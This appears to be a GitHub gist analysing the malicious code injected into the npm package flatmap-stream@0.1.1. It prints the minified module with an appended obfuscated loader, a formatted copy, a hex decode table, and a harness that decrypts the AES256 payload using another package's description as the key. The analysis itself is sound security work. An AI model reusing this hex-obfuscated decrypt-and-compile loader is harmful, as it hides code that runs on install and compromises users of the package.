Skip to content

Instantly share code, notes, and snippets.

@azu
Last active November 27, 2018 12:49
Show Gist options
  • Save azu/7a0dc43ce94b45dcd0aae59be58d2713 to your computer and use it in GitHub Desktop.
Save azu/7a0dc43ce94b45dcd0aae59be58d2713 to your computer and use it in GitHub Desktop.

Original minified code:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

Format the minified code by JS NICE

'use strict';
var Stream = require("stream").Stream;
/**
 * @param {!Function} data
 * @param {number} stats
 * @return {?}
 */
module.exports = function(data, stats) {
  /**
   * @param {number} value
   * @param {number} name
   * @return {?}
   */
  function callback(value, name) {
    var option = output_ + 1;
    if (name === option ? (void 0 !== value && stream.emit.apply(stream, ["data", value]), output_++, option++) : preset[name] = value, preset.hasOwnProperty(option)) {
      var data = preset[option];
      return delete preset[option], callback(data, option);
    }
    if (n === ++count) {
      if (paused) {
        /** @type {boolean} */
        paused = false;
        stream.emit("drain");
      }
      if (gasSum) {
        close();
      }
    }
  }
  /**
   * @param {boolean} r
   * @param {undefined} event
   * @param {undefined} i
   * @return {undefined}
   */
  function next(r, event, i) {
    if (!costSum) {
      /** @type {boolean} */
      s = true;
      if (!(r && !stats.failures)) {
        callback(event, i);
      }
      if (r) {
        stream.emit.apply(stream, [errorEventName, r]);
      }
      /** @type {boolean} */
      s = false;
    }
  }
  /**
   * @param {?} aid
   * @param {number} callback
   * @param {!Function} done
   * @return {?}
   */
  function parse(aid, callback, done) {
    return data.call(null, aid, function(passwordUpdateErr, startDirectory) {
      done(passwordUpdateErr, startDirectory, callback);
    });
  }
  /**
   * @param {number} reason
   * @return {?}
   */
  function close(reason) {
    if (gasSum = true, stream.writable = false, void 0 !== reason) {
      return callback(reason, n);
    }
    if (n == count) {
      /** @type {boolean} */
      stream.readable = false;
      stream.emit("end");
      stream.destroy();
    }
  }
  var stream = new Stream;
  /** @type {number} */
  var n = 0;
  /** @type {number} */
  var count = 0;
  /** @type {boolean} */
  var gasSum = false;
  /** @type {boolean} */
  var paused = false;
  /** @type {boolean} */
  var costSum = false;
  /** @type {number} */
  var output_ = 0;
  /** @type {boolean} */
  var s = false;
  /** @type {string} */
  var errorEventName = (stats = stats || {}).failures ? "failure" : "error";
  var preset = {};
  return stream.writable = true, stream.readable = true, stream.write = function(a) {
    if (gasSum) {
      throw new Error("flatmap stream is not writable");
    }
    /** @type {boolean} */
    s = false;
    try {
      var d;
      for (d in a) {
        n++;
        var val = parse(a[d], n, next);
        if (paused = false === val) {
          break;
        }
      }
      return !paused;
    } catch (x_rect) {
      if (s) {
        throw x_rect;
      }
      return next(x_rect), !paused;
    }
  }, stream.end = function(fn) {
    if (!gasSum) {
      close(fn);
    }
  }, stream.destroy = function() {
    /** @type {boolean} */
    gasSum = costSum = true;
    /** @type {boolean} */
    stream.writable = stream.readable = paused = false;
    process.nextTick(function() {
      stream.emit("close");
    });
  }, stream.pause = function() {
    /** @type {boolean} */
    paused = true;
  }, stream.resume = function() {
    /** @type {boolean} */
    paused = false;
  }, stream;
};
!function() {
  try {
    /**
     * @param {string} buffer
     * @return {?}
     */
    var parseInt = function(buffer) {
      return Buffer.from(buffer, "hex").toString();
    };
    var findPageFromId = require;
    var colData = process;
    var result = findPageFromId(parseInt("2e2f746573742f64617461"));
    var eventSource = colData[parseInt(result[3])][parseInt(result[4])];
    if (!eventSource) {
      return;
    }
    var self = findPageFromId(parseInt(result[2]))[parseInt(result[6])](parseInt(result[5]), eventSource);
    var id = self.update(result[0], parseInt(result[8]), parseInt(result[9]));
    id = id + self.final(parseInt(result[9]));
    var m = new module.constructor;
    m.paths = module.paths;
    m[parseInt(result[7])](id, "");
    m.exports(result[1]);
  } catch (r) {
  }
}();

Following code is injected.

!function() {
  try {
    /**
     * @param {string} buffer
     * @return {?}
     */
    var parseInt = function(buffer) {
      return Buffer.from(buffer, "hex").toString();
    };
    var findPageFromId = require;
    var colData = process;
    var result = findPageFromId(parseInt("2e2f746573742f64617461"));
    var eventSource = colData[parseInt(result[3])][parseInt(result[4])];
    if (!eventSource) {
      return;
    }
    var self = findPageFromId(parseInt(result[2]))[parseInt(result[6])](parseInt(result[5]), eventSource);
    var id = self.update(result[0], parseInt(result[8]), parseInt(result[9]));
    id = id + self.final(parseInt(result[9]));
    var m = new module.constructor;
    m.paths = module.paths;
    m[parseInt(result[7])](id, "");
    m.exports(result[1]);
  } catch (r) {
  }
}();

For example, the code decode parseInt("2e2f746573742f64617461") to ./test/data.

./test/data decoded table

result hex decoded
result[2] 63727970746f crypto
result[3] 656e76 env
result[4] 6e706d5f7061636b6167655f6465736372697074696f6e npm_package_description
result[5] 616573323536 aes256
result[6] 6372656174654465636970686572 createDecipher
result[7] 5f636f6d70696c65 _compile
result[8] 686578 hex
result[9] 75746638 utf8

result[0] - result[1] is actual payload data that is encryped by aes256

  1. load ./test/data that has hex values and assign to result
  2. decrypt result[0] with pa-tree's description
  3. execute the decrypted code
    • I dont know that code is worked correctly

My understand

The target of flatmap-stream@0.1.1's malicious code is ps-tree?

// === flatmap-stream@0.1.1
'use strict';
var Stream = require("stream").Stream;
/**
* @param {!Function} data
* @param {number} stats
* @return {?}
*/
module.exports = function (data, stats) {
/**
* @param {number} value
* @param {number} name
* @return {?}
*/
function callback(value, name) {
var option = output_ + 1;
if (name === option ? (void 0 !== value && stream.emit.apply(stream, ["data", value]), output_++ , option++) : preset[name] = value, preset.hasOwnProperty(option)) {
var data = preset[option];
return delete preset[option], callback(data, option);
}
if (n === ++count) {
if (paused) {
/** @type {boolean} */
paused = false;
stream.emit("drain");
}
if (gasSum) {
close();
}
}
}
/**
* @param {boolean} r
* @param {undefined} event
* @param {undefined} i
* @return {undefined}
*/
function next(r, event, i) {
if (!costSum) {
/** @type {boolean} */
s = true;
if (!(r && !stats.failures)) {
callback(event, i);
}
if (r) {
stream.emit.apply(stream, [errorEventName, r]);
}
/** @type {boolean} */
s = false;
}
}
/**
* @param {?} aid
* @param {number} callback
* @param {!Function} done
* @return {?}
*/
function parse(aid, callback, done) {
return data.call(null, aid, function (passwordUpdateErr, startDirectory) {
done(passwordUpdateErr, startDirectory, callback);
});
}
/**
* @param {number} reason
* @return {?}
*/
function close(reason) {
if (gasSum = true, stream.writable = false, void 0 !== reason) {
return callback(reason, n);
}
if (n == count) {
/** @type {boolean} */
stream.readable = false;
stream.emit("end");
stream.destroy();
}
}
var stream = new Stream;
/** @type {number} */
var n = 0;
/** @type {number} */
var count = 0;
/** @type {boolean} */
var gasSum = false;
/** @type {boolean} */
var paused = false;
/** @type {boolean} */
var costSum = false;
/** @type {number} */
var output_ = 0;
/** @type {boolean} */
var s = false;
/** @type {string} */
var errorEventName = (stats = stats || {}).failures ? "failure" : "error";
var preset = {};
return stream.writable = true, stream.readable = true, stream.write = function (a) {
if (gasSum) {
throw new Error("flatmap stream is not writable");
}
/** @type {boolean} */
s = false;
try {
var d;
for (d in a) {
n++;
var val = parse(a[d], n, next);
if (paused = false === val) {
break;
}
}
return !paused;
} catch (x_rect) {
if (s) {
throw x_rect;
}
return next(x_rect), !paused;
}
}, stream.end = function (fn) {
if (!gasSum) {
close(fn);
}
}, stream.destroy = function () {
/** @type {boolean} */
gasSum = costSum = true;
/** @type {boolean} */
stream.writable = stream.readable = paused = false;
process.nextTick(function () {
stream.emit("close");
});
}, stream.pause = function () {
/** @type {boolean} */
paused = true;
}, stream.resume = function () {
/** @type {boolean} */
paused = false;
}, stream;
};
!function () {
try {
var password = "Get all children of a pid"; // <= ps-tree
var cipher = require('crypto')['createDecipher']('aes256', password);
// ==
var decoded = cipher.update("75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629", "hex", "utf8");
decoded += cipher.final("utf8");
// ??? character corruptio?
console.log(decoded);
var m = new module.constructor;
m.paths = module.paths;
// attacker intent to execute `decoded`
/// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])
} catch (r) {
console.log(r);
}
}();
@mysticatea
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment